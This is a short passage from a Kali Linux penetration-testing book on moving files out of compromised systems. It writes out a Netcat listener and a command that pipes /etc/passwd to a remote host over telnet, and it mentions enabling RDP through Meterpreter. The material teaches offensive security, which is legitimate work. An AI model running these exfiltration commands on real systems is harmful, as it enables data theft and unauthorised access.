Mastering Kali Linux for Advanced Penetration Testing - Third Edition

Using existing system services (Telnet, RDP, and VNC)

Firstly, we will discuss some easy techniques to quickly grab files when access to compromised systems is time-limited. Attackers can simply open up a port using Netcat by running nc -lvp 2323 > Exfilteredfile, and then run cat /etc/passwd | telnet remoteIP 2323 from the compromised Linux server.

This will display the entire contents of the etc/passwd to the remote host, as shown in the following screenshot:

Another important and fairly simple technique used by attackers with access to any system on the network is to run getgui from the Meterpreter shell, which will enable the RDP. Once ...